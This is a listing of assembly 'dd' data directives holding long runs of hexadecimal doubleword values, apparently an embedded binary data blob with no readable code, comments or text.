dd 90F1C004h, 78A753E3h, 9E8904D6h, 81EE52C3h, 4450BEAh
dd 4BAFE111h, 0F9B0C676h, 0B3BEA946h, 0DDA14EAAh, 4486EC31h
dd 0CD69316Ah, 0F0A5D3F6h, 0B9AC22Dh, 2A51C4ACh, 0D269A765h
dd 0BE6E7FA8h, 8C4BC3AFh, 2A94A460h, 748CF66Ch, 5341CCC6h
dd 3927BA62h, 3B87F8E4h, 0AEC2C392h, 0EF79C998h, 9C91E8D0h
dd 26BF13BDh, 0F2E07BD8h, 6AEFC698h, 56A579EAh, 34195CDCh
dd 0B31F1C87h, 0E4969481h, 4A5A466Eh, 1159A7EDh, 43749474h
dd 54F17551h, 2ABF677Fh, 6292B36h, 0ADA5B8C8h, 0A4AABA81h
dd 59F7B998h, 0D3A3BC66h, 0D2939387h, 0BB96B4Ch, 7EA0B8BBh
dd 9E98E0D1h, 7F084A80h, 0DD8F8929h, 50B2E558h, 0D5DC2360h
dd 94C6DE15h, 6C5FEB07h, 0CCB94E24h, 0B0C6463Dh, 0E3901A21h
dd 0F221891Bh, 1E7A9E64h, 0D458C2EFh, 0E591621Eh, 0CF4EE646h
dd 832B24B3h, 46345EBDh, 5918D65Bh, 3CCC1B82h, 47569D80h
dd 94584AA1h, 0FBB15h, 0AEC41F26h, 2272BAB8h, 179A9694h
dd 4C875B4Fh, 0EF449FA1h, 12591BAEh, 0B93B7E2Ah, 98829A21h
dd 0DE967712h, 0AF85B27h, 6576718Fh, 23C5DEC1h, 0B7E2E665h
dd 633C7329h, 8EF3BC46h, 9DD43DB7h, 0B22C49E5h, 14EDBC74h
dd 78F922C6h, 43FE8033h, 0CF8E5167h, 8183EE29h, 844706E3h
dd 0B1F99FB5h, 7D444F9Bh, 0D2F7E2EDh, 0B1C8505Bh, 0A4E82A91h
dd 0F6F156D8h, 0C5996579h, 5B14F35Ah, 4688D920h, 3646AB46h
dd 9B9AC53Ah, 0A0510BD5h, 0D25A1085h, 6949D106h, 0E6D99FCBh
dd 0F864057Dh, 0BE0A3E44h, 1E014A24h, 0B82B83C8h, 0EF163C37h
dd 0C56DD695h, 1BEC729Dh, 0BADD8C7Bh, 0D609D1CDh, 0D205B9ACh
dd 25D5CA38h, 93DC7C53h, 3199E05Bh, 6B11C5Ah, 6F37E5AEh
dd 3AEA2EDh, 76C55B7Fh, 972E5218h, 0AC7AC90Ch, 0B677B6BFh
dd 0B049157Ah, 75C62AC8h, 4B7A1867h, 988B0E83h, 0C95B546Dh
dd 0DD0C9F5Fh, 0A43A4810h, 0D6B2EFFAh, 4EA954B4h, 0A2046D77h
dd 864656A4h, 7AD3A030h, 5F6CB15Eh, 51EDECC1h, 95A1E2F5h
dd 0F81220DDh, 176C3E13h, 0EDEC0CFBh, 3AF0E599h, 42D2B5E4h
dd 0A6DC97B8h, 5C845E68h, 0B4DE7BB1h, 341D1551h, 75F519Fh
dd 3DC0DE5Fh, 0D5A961E0h, 0A7CBCAD6h, 8D3048B1h, 0B8FEFBA8h
dd 0C5479133h, 828F7C4Dh, 0FEA89D86h, 473F552Ch, 0C28B2F55h
dd 9E70BF8Eh, 0B5EAC053h, 0E4E8AC4h, 0ED1D4727h, 7A874751h
dd 31F4B70Bh, 0B4744878h, 2E341657h, 85EF2532h, 52FEC02Bh
dd 0B64A6AF5h, 0AAB84429h, 459D59C4h, 4D215927h, 0EB318C0Fh
dd 2DE0FA6Fh, 503A5D73h, 1460FFB7h, 505DED6Bh, 2F9BEF50h
dd 0F81AC195h, 4D438BB7h, 0F9266C68h, 7CA7D4FAh, 24632B48h
dd 0BA7ED282h, 280F9EA0h, 404415DFh, 0D16DE31h, 33510651h
dd 0EEA5B21Dh, 9719FFA7h, 4B47AEA3h, 7E18D9Bh, 0A51DD75Ch
dd 2B304666h, 0E029F54h, 0EE7A6D44h, 0F7BD414Bh, 4C68FC27h
dd 0A3782A91h, 0D1015700h, 0EEEAA45Ch, 0BC20CDB6h, 5D09037Ch
dd 0D67868A8h, 4731BFD1h, 0D97EFE41h, 0D1A3D58h, 9DEF9618h
dd 76D83FADh, 3908C04Ah, 9D327B36h, 0FF34CFE2h, 7CD8D831h
dd 4BC6C14Eh, 616F62E7h, 43212710h, 9D29D0BCh, 238BF9B5h
dd 547B7FF4h, 0BC810882h, 494328FDh, 0CB6E44F5h, 0B45C737h
dd 0EE7B770Ah, 0BA0B894Dh, 23CFB199h, 874BA82Ch, 0E964E952h
dd 4369799Fh, 8ED94AF8h, 0B9B0900Bh, 700240Bh, 9848666Ch
dd 0F43305CAh, 0F6C497AAh, 1AD66A93h, 0BDFBCED8h, 0DA54D623h
dd 5B46B659h, 784B4BEEh, 7B72A101h, 0B18AC70Fh, 89A3B87Eh
dd 0ECD7C3B0h, 56783C22h, 31EF1061h, 8272FD19h, 636F10DFh
dd 0BF2C44F5h, 15E37B61h, 3474422Ch, 0DD06A995h, 6E9DEA4Fh
dd 95E1758Bh, 26968F08h, 267E29DBh, 89B5676Dh, 0F6EC1113h
dd 2716F136h, 67EE5ADAh, 5E21D02Ch, 0F06C488Bh, 111BFE77h
dd 85BA71CFh, 4FEDFABDh, 67869DF4h, 60FEBE34h, 4523E433h
dd 0C398DAF3h, 9D65A98h, 0AF3C45E3h, 95A9BF5Fh, 0CD783E54h
dd 0CB4E12F2h, 0B8ABE36Dh, 0F6B0E50Eh, 1E5CD6B0h, 4BEE5A38h
dd 0D1DD3D0Dh, 0C363FBA9h, 6961DD1Dh, 7C5D8EAAh, 54D7B95h
dd 555916A7h, 0EB5601A2h, 7C5D9E28h, 680EC70Dh, 7841D38Ah
dd 78744516h, 6EE6D69Ah, 1BF8AC44h, 276547F4h, 1D3316DCh
dd 0C4774F35h, 0EFE9428Dh, 1B4368FEh, 7E51E740h, 0CCC22EFBh
dd 0C9C2F844h, 0F5B654E5h
dd 8BBF1B1Eh, 0E99F2BB2h, 0A383675Ah, 3417C603h, 0FB7CC7ABh
dd 3FAA8FF2h, 9DEF56B3h, 0B85E9B54h, 63F4C5A7h, 6FE37DFh
dd 0C3B8B453h, 0D42869F7h, 919D7BA1h, 0A1C5352Fh, 6CD8F09Dh
dd 0A6EDF0F3h, 0F98E7AD8h, 0ECD13576h, 673DCF97h, 0BB8E6C28h
dd 5F5007D3h, 96E9C2FFh, 0B29A0DF8h, 1FDD648h, 12BB0B19h
dd 0F9C9915Eh, 0F1029C8Eh, 7E3BCF31h, 42864739h, 0E6F87E06h
dd 2AE13C1Dh, 0B8C279AFh, 0F21319A5h, 3E5F491Fh, 0FC2938C9h
dd 86CA7D65h, 0F1F4136Ch, 7B1FC19Fh, 0DEB83F1Dh, 0BE857B1Fh
dd 5C05CCF0h, 0D54F6E91h, 676A915Dh, 679D3B83h, 28752DF9h
dd 70A189B0h, 0AC704FF3h, 787AA278h, 0DF0339D8h, 5690CA12h
dd 46C40EA8h, 0E38178E4h, 0E65EFBBEh, 0F4BBA190h, 75E23B1Ch
dd 627DF07Ch, 1CCB371Dh, 4B3B74Eh, 8DF062h, 0A21E8975h
dd 62D93D87h, 0ADF2F7CEh, 0A5AF8C3Fh, 0CF4B279h, 33F38B6Fh
dd 0E2F70968h, 0F1F04915h, 80A14319h, 428F0D37h, 87B1E28Ch
dd 0C7DAD1A2h, 0B1CA2167h, 8B152823h, 0F1429E0Ch, 760A312Dh
dd 63D16CC4h, 0BBC9DF8Eh, 0AF732288h, 0B6DCD5FCh, 0E0136060h
dd 7FDCC07Eh, 595BA319h, 98358977h, 9DB1A1C4h, 0FBFB42D1h
dd 0F93E1AAFh, 0C9CCE52Eh, 6A442AE0h, 7FDFD86Fh, 0DA48D71Dh
dd 864E67DBh, 1DEFD54Ch, 0E67FBFB7h, 81AA4424h, 95623A67h
dd 0F04AE16Ch, 56E89E2Bh, 495516C9h, 0BA8EF28Fh, 34CE13D0h
dd 9B42C1E2h, 2689FA51h, 0A5FD06FEh, 0F6B55085h, 0F7812DDEh
dd 527CFF17h, 6CED3430h, 0FCBDBD6Fh, 4345BD02h, 0A78DD777h
dd 23F94E66h, 0BFBC5F17h, 0EAAC93FAh, 0EFEC933Dh, 7D9E2E7Bh
dd 5BD254E6h, 0D5CD005Ah, 37FCA39Ah, 0F395CAh, 47346B7Dh
dd 1458D69Dh, 0EEF8BFD8h, 0E8A060C2h, 7BA36F6Ch, 0A3C2E729h
dd 628D8FFBh, 7F14685Ch, 84A2A1A3h, 0E8A3946h, 0FA31D95Fh
dd 0E86E3D08h, 53AE4F0Fh, 0E37D1328h, 0F0A07B25h, 0A6AFFB2Ch
dd 538CD85Fh, 0FDC4DAFDh, 0DE18AFC2h, 1BDA5FA5h, 0CE7B8972h
dd 4D4216BAh, 260D50C1h, 2688A9B8h, 6B1A3EF8h, 9AC7C5Eh
dd 6579BE75h, 4A6EB1D7h, 755DEB18h, 0FA2AFB0h, 67F568F7h
dd 0DEF7ABC7h, 9F96E181h, 0FF49939h, 1DAFEB8Dh, 1436493Eh
dd 0C6C5E50Dh, 547ABABBh, 0FDBFDD2Fh, 0FF770BCAh, 0B241BAEEh
dd 842D36F3h, 971A0929h, 0F58074F1h, 9924F3F2h, 8CCC21A2h
dd 1BA95595h, 1FD69F1Eh, 8FA3DEAEh, 0FABB3374h, 686FB566h
dd 9C4071E8h, 8038F433h, 787E29CDh, 180BAD86h, 57AEB454h
dd 90458451h, 41FCE640h, 266B5467h, 4EEE0714h, 9D479EACh
dd 0C9FE0E6Ah, 0C71ED129h, 0F103CCD5h, 0A493DC78h, 88A7F3EFh
dd 0D6060E78h, 0A525E076h, 0B8E0171Eh, 0CD338835h, 0F7B1E976h
dd 0C46AEC71h, 0B371E8A6h, 0E138E711h, 3198BA89h, 0CA013C19h
dd 0EC721E1h, 133E8A7h, 5388B89Bh, 90291828h, 0ABE99429h
dd 83413E02h, 6FA8E68Eh, 0E8D7D447h, 0F30C029Eh, 8C10D378h
dd 8C86FC09h, 0A28F3D7Eh, 0FED6345Dh, 4A46F8F1h, 0FEA6A8A2h
dd 0C7BAB35Dh, 8B4E0D72h, 0A6184D1Eh, 23751090h, 55BA5AF2h
dd 6DAB259Bh, 1E35D01Ah, 478C0D2Dh, 64D3BB35h, 6715569Dh
dd 0D26B6589h, 0EEE6CA3h, 9B317427h, 311B08F7h, 813ECB95h
dd 1EFB0377h, 731F4A27h, 0CA9B6972h, 365E869Ah, 0ED7B9C51h
dd 6AE92665h, 7B7AC7B7h, 0E3E2B40Bh, 14B086D7h, 7DBE4F1Ah
dd 4C21B5CFh, 27C5B5F7h, 1A13BEA2h, 2DEF6B7Fh, 4CCD14FBh
dd 2B62D3DFh, 9B651AD1h, 914BE125h, 6B46D781h, 9751157Ah
dd 7A9D37BDh, 691594E5h, 0DD182A4Dh, 1BDDDA8Ah, 0FA4D73B9h
dd 6BDCB370h, 0C9D57C9Ch, 0EDCD3877h, 0CAE12CAh, 5D8F6DEEh
dd 6E8BE8EFh, 0C602F077h, 0DAA78E4Fh, 18E4F13h, 7D3CF637h
dd 3C4F681Eh, 80F9C27Dh, 3C7A3A1Ah, 0A3888626h, 65FD78F9h
dd 97794062h, 34C9F6D3h, 0D3D6EF0Ah, 0F9CBDF28h, 438E9A2Ch
dd 0A35C9E4Eh, 64D94B9Eh, 83BAB9EBh, 0AC1AE67Ah, 958EBD47h
dd 7D8E6974h, 12FB94BCh, 0BB9F7296h, 5E96CE46h, 55A5CD3Ch
dd 917B6B34h, 3E58EDF1h, 43E0BE97h, 74B962h, 78B0DBD2h
dd 7B8B8070h, 0F026614Fh, 3E9E79F5h, 52F74E4Fh, 9971EEA7h
dd 0EF68CEADh, 1117C98Ah, 0C77B80BEh, 4AEE8921h, 1FB00E99h
dd 70CD7E55h, 568202D9h, 0E7BC43D4h, 8560C9BEh, 6B2DEC2h
dd 2ED96CACh, 8A95EFDCh, 6554961Ah, 31FBDB43h, 190F3426h
dd 0BEA283BDh, 899EF126h, 6B59D79Dh, 0F42D202Ah, 9D3BD53Ah
dd 0BA7F4469h, 0A1C735A1h, 74B90A22h, 3701C4EFh, 0DBC059F0h
dd 9726201h, 70F77BCEh, 0EE5C23E2h, 244C9C7Bh, 73C7941Ah
dd 0D54D4E8Bh, 15B21606h, 7EA62666h, 40E2BDF1h, 0A42F4F82h
dd 0E55CACB2h, 4BCF89DFh, 5B82AAAAh, 3A91C467h, 0AFC21037h
dd 8AEECB68h, 0A40911D4h, 0F19F2AFEh, 0D99CCF67h, 0D02FBC73h
dd 0F70306Dh, 0A1A5F55h, 8212C1A1h, 3A2F7473h, 0DAF48A74h
dd 0BD2B0970h, 4E37B885h, 0D024E671h, 0A6803468h, 0E7E21E5Bh
dd 0FDE13278h, 0FBD3D293h, 0FDC050E4h, 2A746C7Dh, 0E52AF55h
dd 0E5D237D2h, 456D04C2h, 0DF0F7146h, 2864D911h, 0E20F343Ah
dd 0BF9D951Eh, 0E8F89331h, 3C55F5E2h, 0BAD7DEC4h, 82E9CFD9h
dd 0DE9FC615h, 0C4B9F663h, 2DF89BFAh, 27AB8FE2h, 0B8347DFEh
dd 5DD282B1h, 889A97B5h, 4FAD2AA6h, 9B310C41h, 0C7A0DBE3h
dd 0B44D0307h, 0DBC0E30Eh, 2CA6AE8Eh, 52EE6086h, 0B290D3FAh
dd 11097E84h, 0C76EE61Ah, 0A27EEE97h, 3A0E2BA4h, 0C740C7B3h
dd 717EF7B7h, 2EF06C9Dh, 8FD9764Eh, 222B0696h, 0F619C2DAh
dd 85F64585h, 23F599E3h, 96E04C9Eh, 0BBD5A9D6h, 0D521A47h
dd 0EB9766D9h, 9A2BB374h, 83388C7Bh, 0B4297511h, 614ED5B6h
dd 7B0564Eh, 0EC1DE353h, 232A0648h, 0A31B2F49h, 4A61F710h
dd 0B305EF96h, 1E98EB80h, 6CD76723h, 67B20C22h, 9263C9A1h
dd 0B6C7F836h, 4C643149h, 0E68F621Ch, 81ACD957h, 0DA1DBCC3h
dd 36ACCCB5h, 2960B9D6h, 5B6AEC84h, 303D9299h, 699EB1C8h
dd 5B86CAB0h, 0FC3B5F1Bh, 4C7EFA25h, 825E9A2Ch, 5E5EE233h
dd 0B36502DEh, 0A8F6A41Dh, 527542E3h, 0E3D44E35h, 9B4087E3h
dd 0EC29CCB5h, 0FD95B2E7h, 2B4AB25Ch, 0E606323Ch, 0B83B5919h
dd 0B1B0E830h, 0A2962287h, 572C8F28h, 8AA33AB3h, 0CA5E39BCh
dd 18CB61FBh, 424DAAF9h, 246C9962h, 71FACFBEh, 8EA6B12Ah
dd 0EF196756h, 0F40632FEh, 78A66532h, 0B19518E8h, 1CC72799h
dd 0B1B39C9Fh, 0D4CA5881h, 0D39362C0h, 96393C1h, 72604ECAh
dd 0CE097ACCh, 55A726A8h, 9AB31C9Fh, 0A4EA5E9Ch, 7A89C6Ah
dd 6F08E9DDh, 0E96984Eh, 3614E26Dh, 423D1397h, 0CBD75C6Dh
dd 6202B4D4h, 4C267486h, 5C52E4CDh, 84A07648h, 80EE43F7h
dd 920A5CDCh, 0F090FAE2h, 9FE31504h, 0CE95A91Fh, 0CE8280D4h
dd 45CF5A82h, 0F0888CC3h, 0D4B77634h, 518F64F1h, 2E9CCB47h
dd 43D67482h, 64395EA6h, 6746A334h, 0A8FD6557h, 0C888EA31h
dd 7C65C9E4h, 0C86FCA4Dh, 0AE21E20Eh, 155FD537h, 3B674231h
dd 25F111DFh, 0E95AED2Bh, 69EE0C7Fh, 0FA3C4F75h, 492F7A3Ah
dd 24A19E74h, 16072AF9h, 257FA590h, 5D52C39Ah, 0EB6EA695h
dd 0DA1DC583h, 0AA4650E1h, 2B05B0E6h, 181AD62Ch, 65382ED4h
dd 0A747C3F5h, 0C1CE76F6h, 8D5E3270h, 0A7160E1Eh, 0AF9A2CF9h
dd 2BCAFAC3h, 3C30120h, 0D4583E0Ah, 75CAFAC7h, 4605BA3Fh
dd 46E06483h, 7CF7440Eh
dd 0D33E4E61h, 50A60633h, 767F5707h, 0C2DEF553h, 0D6A45F3Dh
dd 42E1EBA6h, 0FE47008Ah, 155C2A45h, 21303C3Eh, 71C3451Fh
dd 0C4B38CA1h, 4B0AB4E2h, 47D607C1h, 67994417h, 9DF96C28h
dd 0B5AE32EAh, 9D3973B4h, 2BEB65DCh, 55D7A8FDh, 0C74AEB16h
dd 0E14B7F30h, 1EA36E8Fh, 0FB0EA3F5h, 0F46FA6BFh, 0A927CF79h
dd 0EFFF07C9h, 0A249DA91h, 0D4CD6A92h, 0D575734Fh, 58D78330h
dd 24B2AFE4h, 0ED66C3Dh, 250A78CAh, 429990CBh, 0D403DFE8h
dd 82471CBFh, 11B82A5Dh, 7CE97CD5h, 463BD72Ah, 20D4B518h
dd 25BEBCADh, 0D2975D5Dh, 145A4E37h, 20E1C349h, 4C827321h
dd 919D0BE8h, 5F54C1BDh, 88C56D72h, 1186C818h, 1118EE5Ah
dd 6FE923F3h, 76F084B5h, 1FB1AA85h, 0B22C1275h, 0D6C09E0Ah
dd 3DA2A772h, 0BC516A97h, 0A07142C0h, 91D2E1D6h, 0B6592783h
dd 12FB9119h, 2B6B1C6Eh, 0E25DA158h, 6F544759h, 304C2344h
dd 105A2D3h, 0F1A1A513h, 7A82B2B6h, 362C122Dh, 8A86B22Fh
dd 0B338A2CDh, 0CFAE3A33h, 0F79D05CDh, 306F849Fh, 1ED961B3h
dd 0D2251B70h, 1E806E5h, 4A7ADE5h, 418F1B22h, 7CB825FBh
dd 6D2A7C71h, 0A18C08ADh, 0F59DF51h, 19E9C3A4h, 0C088E0D4h
dd 487087F2h, 0A4261A13h, 828E8E6Bh, 0A4920786h, 25254071h
dd 0C789592h, 642A72A2h, 0D929A100h, 1AF6B816h, 25141DA4h
dd 0D8060D7Dh, 0A67B9A3Bh, 4826EE39h, 775DB2ABh, 0F5A93B54h
dd 0D63A3A09h, 6136CC6Dh, 3A94878Ah, 93A92EC5h, 0F5D54B8Dh
dd 0FF437688h, 0E55D8947h, 0F819B0EDh, 4B7897F0h, 0BE49BDF1h
dd 0B1F48BE0h, 0B418FCD6h, 0B5806448h, 0F47F1266h, 0F858D6B3h
dd 49AD66C3h, 0B5B30FE6h, 0C62F9AA6h, 1E6B5A07h, 3E418FE0h
dd 482EF56Fh, 0FCDE0C33h, 0F6D747AEh, 0E1F84485h, 0EED94EE4h
dd 65B2AFA6h, 0D86D60F5h, 8F1F234Fh, 5DED314Eh, 365A183h
dd 1E86096Ch, 0AE4E6953h, 0D5886643h, 0F989FD54h, 0F62347F4h
dd 0E383DB2Fh, 5BE5A4B4h, 6DC8CF7Eh, 1ED0CC95h, 8A4BDB34h
dd 699FDFECh, 0AD6DA1C0h, 0D3AA8D79h, 7F13F43Bh, 0F76BD524h
dd 0A6FAFA47h, 6F9A036Ah, 0BE8133C3h, 0DE57A1AFh, 5A006D54h
dd 73D94820h, 0D8D40FBCh, 7F31C66Bh, 0A5BD3255h, 0B7BAB712h
dd 0E5BFB78Ch, 0B35CC4FFh, 1AFF57DFh, 977E1F3Ah, 0FBE77A8Ah
dd 6CEF5623h, 3BC5247Fh, 0EFE91FD1h, 7DF543CDh, 358B11FDh
dd 0DC958530h, 46A655BBh, 0FDBC6931h, 0D6336C8Dh, 0E103924Eh
dd 0A2725EDCh, 1743E177h, 4ECA8048h, 0A800C135h, 0EA1816BEh
dd 59089EACh, 381AC19Ah, 98153890h, 99F31287h, 43B40C37h
dd 0C92F35ACh, 0AA1D8697h, 615C2DC2h, 0DE16C129h, 0C66F2C6Ah
dd 0A951C5ADh, 585C86FDh, 78924F16h, 5BE69E26h, 8A378B14h
dd 2B1C6C15h, 3D515C2Dh, 833BE211h, 0AB5BB4AFh, 0BCEBEBA7h
dd 9C05523Fh, 95F0DFDCh, 7B2BDE7Ah, 2C517BC9h, 2D8E41AFh
dd 472D0537h, 0BAAE0173h, 66FC8196h, 0F8D1832Dh, 3263CC36h
dd 0D2733A49h, 231EA605h, 19129E9Dh, 63B523DCh, 0D22A0E59h
dd 0CE5DCDFFh, 0F7AFA163h, 6D5A7E56h, 31E0EC26h, 68C797AAh
dd 90B43D58h, 0A4AFDE6Eh, 0D4E5DB23h, 17EA9DEDh, 0C8E803ABh
dd 9D38AD1h, 0BFAD196Bh, 7A4CABDBh, 0DE2D724Ah, 0FCD1FB0Bh
dd 6FA9730Ah, 4435AED1h, 0CEBD9656h, 5F899C0Fh, 0CAB28678h
dd 0E2EE883Bh, 35C904EBh, 1456C935h, 0E1680BD5h, 8A3E22FAh
dd 172AFD52h, 8D6B5652h, 903728C3h, 5F82FDC8h, 150B5D00h
dd 8897CCE3h, 76B9F5F6h, 29A7E4ADh, 7529DBB8h, 39F8FF11h
dd 446575CBh, 0ABDE9F90h, 16F81EEBh, 6C7CAFD6h, 87D079C4h
dd 33653EA9h, 5207E808h, 51F1336Bh, 8D3A829Fh, 689B9979h
dd 0C7E177D6h, 0DDAF801Ah, 0D6B54E3Ch, 0F6BEEC0h, 781AD53Ah
dd 0B5AE4216h, 4ACA1825h, 25B54FB0h, 5711F31h, 1037BD7Bh
dd 0CD197E61h, 2075134Ah, 25D5DC7h, 9FBDF9D1h, 56D59743h
dd 91DEE5Eh, 0D2E9885Bh, 0E910F329h, 36E27BFBh, 12EA626Ch
dd 0E2FB203Ah, 5F530A9Dh, 0A9636655h, 0DAE79B2Fh, 2624A4BDh
dd 0E9152F98h, 9CED439Fh, 62DFDD56h, 8730CDAAh, 679E64D3h
dd 312A2746h, 94E1F568h, 989458EDh, 0F13C86CFh, 13B0CDF7h
dd 0E70685B2h, 0B05293DFh, 89C2BAC7h, 88F5D55h, 55A5FB22h
dd 5D312200h, 0EC4CDACEh, 404CDABCh, 9DE3BD76h, 471DEADBh
dd 48E2D726h, 0DEBD3FDCh, 5B0516F1h, 0BE3BD516h, 989EAFBBh
dd 0A7C77AD9h, 10EF53FFh, 3E3BD477h, 0F8EF549Ah, 0D1DEAB87h
dd 0F1DEB536h, 0A3BD7159h, 0E3BD5A79h, 0BDBF8528h, 0F071DEA7h
dd 0BBC77AD6h, 5F1DEAF3h, 9C77AE4Ch, 456D79FEh, 61F1DEB8h
dd 30E3BD59h, 6AA09D45h, 0BD59F93Eh, 0F1552CE3h, 867ACA6Fh
dd 0AE281CB2h, 0EF5638ADh, 8E5AA768h, 536F8B53h, 0C354FBD4h
dd 29EAD497h, 0CFF9FACAh, 0D3DF1DEBh, 0EA5307F7h, 37A8871Dh
dd 77AAEF27h, 1370A39Ch, 2DDEF955h, 3DC88EF5h, 12AA2CD2h
dd 6EABF3C6h, 1919E63Dh, 662A8D3h, 359518AAh, 35EC878Fh
dd 0F804F1E7h, 0BFF72E2Ch, 0AEC2313Eh, 0B9E1242Bh, 7340A019h
dd 1F8BFA71h, 0FC91093Ch, 0ECDD40DCh, 0AAE855EEh, 0E2E54466h
dd 81826E9Ah, 0D83E4E0Eh, 48467D87h, 1368E828h, 6E833F03h
dd 39795B4Ah, 769A74B6h, 0C110E830h, 0C115300Ah, 96E213AAh
dd 95018C08h, 16340271h, 120EFABEh, 2B740892h, 0F6269B70h
dd 0E61F049Fh, 53C210B0h, 0A2C28244h, 0F833162Eh, 829453BFh
dd 2D92B035h, 0D613B718h, 0CEA82B9h, 0DAC2C63Dh, 0D1D04B0Ah
dd 59FDDF4Ah, 22BF3167h, 280678B2h, 0AA82BC84h, 0AD64D2C8h
dd 0CB86522Ah, 0B109F5Fh, 2979C53Eh, 39956F68h, 3622463Dh
dd 0FA336B5Ah, 225CB5E0h, 6AAC61BDh, 245541FBh, 1DF8B0EAh
dd 732D366h, 2A21433Bh, 5FE96D2Bh, 48FE83A8h, 7F30D55Ah
dd 3475125Dh, 0E61F9EB9h, 96113D32h, 4EBB4A84h, 0A7109FCFh
dd 853F413Eh, 9CC27F08h, 0C2F03EBAh, 0D128D133h, 0CCE27131h
dd 0E6AE9ADFh, 0FB41BC74h, 74E794A8h, 0D34D972Fh, 89F9D2AAh
dd 9FBECDB0h, 6712B3D8h, 582DB8B0h, 41A4682Ch, 89F4D8ABh
dd 871DE54h, 0D246DA7Dh, 51D911B4h, 9F0F2E93h, 35EB2644h
dd 8728C11Ah, 0C9E7E425h, 0CA63A472h, 0CE52AA89h, 0A0B5A176h
dd 595478D3h, 0F16EA07Bh, 27D3C42Dh, 0A7141637h, 83054E2Dh
dd 0C9DCBE11h, 0C55B0AAFh, 2609F65h, 0F81929DBh, 4A319A69h
dd 5B8AD27Dh, 0B88C5343h, 5B39A7CEh, 0E7D748E6h, 74BCFA8Bh
dd 6F571115h, 8C36D973h, 5A29F4FEh, 8E1F60E6h, 0C7C389B0h
dd 0FB71CD19h, 6222DA72h, 4795C507h, 9B21406Fh, 1A3A7218h
dd 0F4400F0Dh, 4F468A06h, 63B9F5CAh, 26C9902Ah, 3A81229Ch
dd 0A66CE4EDh, 0E9BFAA9Eh, 0ED53D46h, 0DA7A8DE9h, 8769EA08h
dd 0D441CF7Ch, 4EAFAF93h, 910A476h, 0D3ABB3E5h, 28781ACFh
dd 4D19C7A9h, 0E6B5A027h, 728324CEh, 0C10F2ABCh, 0B8A214F0h
dd 0F362D4BAh, 32D58C4Dh, 64B502FEh, 0C8A2D424h, 4C82DF84h
dd 33A994F8h, 6FA9773h, 9462AAFAh, 5E309C3h, 5DFD8729h
dd 38451988h, 4627C4B8h, 40D81B49h, 0D460BC37h, 50D9059Bh
dd 0EBF4989Fh, 78832484h, 5A84CA5Eh, 716A2BA6h, 5A8DFFF1h
dd 0E9D5D024h, 0C9025B45h, 0DE6BF2D8h, 5FFFB6BAh, 8C5362F4h
dd 41EB2A48h, 0FAA1D230h, 629C430Fh, 2BA48174h, 0EB78C500h
dd 34C62885h, 0C29B179Eh, 0C942E82Dh, 9BCAF174h, 7DF037D2h
dd 2EE39409h, 80363949h
dd 0CA0D9C72h, 0E39414B1h, 871CA025h, 0C56805Fh, 500BB0Fh
dd 0A48883D8h, 2DF43E65h, 0F0E681A1h, 6889FFE5h, 0B7011F0Ch
dd 0EEBA4DECh, 0ACA17FE8h, 0CC4D040h, 3CD85BA2h, 4AA9192h
dd 0B48B361Eh, 68F52C33h, 0EEAABA67h, 21574563h, 9381AD68h
dd 5C4532B3h, 0D5713125h, 0FD2B88AEh, 43B12B15h, 22FD8044h
dd 0D32AB881h, 30BCE115h, 9F419F76h, 0A8711B2Fh, 4A95A77Bh
dd 0C062210Dh, 0FD8B0708h, 0F5A8CED6h, 0FE563A95h, 9FAA990Ah
dd 6B56733Ah, 0AFE96703h, 8962264Fh, 0A75DFB76h, 0A5B9047Fh
dd 75F46223h, 44BA128h, 40B60C86h, 63E9485Dh, 0CF28CD12h
dd 83E9EDF9h, 79BEC369h, 92A3440Ch, 133A095Ch, 38350424h
dd 257D0CDAh, 339CD07Eh, 0E5689BDCh, 0B922CEECh, 0E3E2C12Ah
dd 0EAF8E776h, 0FFA7CD4Fh, 65FDE231h, 0A7FE606Fh, 0FB06D10Bh
dd 75D717B3h, 0BE3AD5D6h, 0D699D1F1h, 0EBFA89E6h, 0FAD1A2A0h
dd 0BABABF1Dh, 0F9DAA594h, 47F786DCh, 0F75F4344h, 97376C1Ch
dd 70271D07h, 0EDDAF9ACh, 0B33AC251h, 383F77B4h, 4DDF14EEh
dd 66ACB3A1h, 0D3031E27h, 6E07481Fh, 4747F72Eh, 63D2F96h
dd 0EA2D2E64h, 0D3F6C571h, 0EAB43854h, 0EEB4FA1Bh, 6ECD7C0Ah
dd 44BE1F9Ah, 456D0C6Bh, 0FA8B8854h, 6D4F2323h, 195A99A0h
dd 20D55C40h, 8ED0C8CFh, 0CF2848ADh, 46FE839h, 0FD25A9E9h
dd 0D49547E8h, 0E5E9FB11h, 0EEB23F49h, 2E3AA3AAh, 6FB51AD2h
dd 0BD03DC43h, 0AAA3DA7Ch, 8E51BF2Ch, 6D7CD597h, 23FEDD28h
dd 0DF398139h, 59B72656h, 3E63D5B7h, 0A7468ABFh, 0A3A4C53Bh
dd 0CE29948Ch, 25B4347Eh, 0A1B105h, 0E103003Ah, 59EDED46h
dd 489F1C1Fh, 8EF2CA23h, 0B3AFA785h, 6B32C193h, 7E79488Eh
dd 0B877B95Eh, 97E7C8C7h, 68D1AFE9h, 0EA753065h, 4BDAF2D4h
dd 0E87F06A6h, 46C137AFh, 0B9FF64F8h, 0C8774B91h, 0DA732A86h
dd 0FA0A6720h, 0BB1AD622h, 0AEA95611h, 0DFBEDF7Bh, 968423BFh
dd 0F2D35EA2h, 14759D3Dh, 7A11E742h, 498DF3AFh, 9723B3FEh
dd 2B52B3FEh, 753CB516h, 0BA815B04h, 130860CAh, 931A7A1Bh
dd 4C30F0F5h, 0ED082A25h, 0C35D09E4h, 436A7873h, 5138E6A5h
dd 3C9E4C19h, 1BCAFAD9h, 0D32643B5h, 13915984h, 42E76B95h
dd 0B09A7E19h, 0A30A1199h, 0D96F6DD6h, 860E72EBh, 5E93C3BCh
dd 0C17FCA85h, 0CB99C5C9h, 0A51B38DEh, 13EBA939h, 24D3B475h
dd 736FAE73h, 97BC84CEh, 45FF8524h, 0D50F6A1Dh, 6C5134F0h
dd 64FFB065h, 0B9C4F888h, 0E4860C8Fh, 6E39AA7Fh, 934344F6h
dd 0D2F5D0E3h, 0C8777948h, 0B04B3289h, 8653C882h, 0FFDE8665h
dd 0E2B51288h, 0D7D562E3h, 714EBD6Ch, 0C5FA3331h, 49DA8565h
dd 749B2BB0h, 0C505E576h, 0F38F30AEh, 0A04D2E1Ch, 60B8C17Eh
dd 4C2047CBh, 0C8469EF2h, 665A81Ah, 0AFBB1364h, 3E928A73h
dd 1EFE90B1h, 8281CE9Eh, 6E6D90BDh, 0BE20FAEAh, 0F8827C11h
